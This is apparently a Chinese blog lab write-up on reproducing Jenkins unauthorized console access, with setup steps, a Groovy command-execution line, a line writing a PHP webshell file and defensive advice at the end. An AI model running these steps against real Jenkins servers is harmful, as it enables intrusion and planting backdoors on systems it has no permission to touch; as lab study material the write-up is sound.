Jenkins 未授权访问漏洞学习

Jenkins简介

Jenkins是一个独立的开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。前身是Hudson是一个可扩展的持续集成引擎。可用于自动化各种任务,如构建,测试和部署软件。Jenkins可以通过本机系统包Docker安装,甚至可以通过安装Java Runtime Environment的任何机器独立运行。

漏洞简介

未授权访问管理控制台,可以通过脚本命令行执行系统命令。通过该漏洞,可以后台管理服务,通过脚本命令行功能执行系统命令,如反弹shell,wget写webshell文件。

环境搭建

redhat linux
Jenkins下载地址
http://archives.jenkins-ci.org/redhat/jenkins-1.620-1.1.noarch.rpm

rpm -ivh jenkins-1.620-1.1.noarch.rpm
service jenkins start

访问8080端口:
Jenkins 未授权访问漏洞学习_第1张图片

漏洞复现

访问:http://ip地址:8080/manage,未授权进入控制台:
Jenkins 未授权访问漏洞学习_第2张图片

Jenkins未授权访问写shell

在脚本命令行中写入:

println “whoami”.execute().text

成功执行:
Jenkins 未授权访问漏洞学习_第3张图片
上传webshell

new File ("/var/www/html/shell.php").write(’’);

我这里开始有报错,显示权限不够,所以要进行修改:

/etc/sysconfig/jenkins下的user修改为root:

Jenkins 未授权访问漏洞学习_第4张图片

然后修改对应文件的权限:

chown -R root:root /var/lib/jenkins
chown -R root:root/var/cache/jenkins
chown -R root:root /var/log/jenkins

重启服务即可。

Jenkins 未授权访问漏洞学习_第5张图片
访问即可:
Jenkins 未授权访问漏洞学习_第6张图片

防御方式

-升级版本。
-添加认证,设置强密码复杂度及账号锁定。
-禁止把Jenkins直接暴露在公网。

你可能感兴趣的:(漏洞复现,渗透测试学习,未授权漏洞,安全漏洞)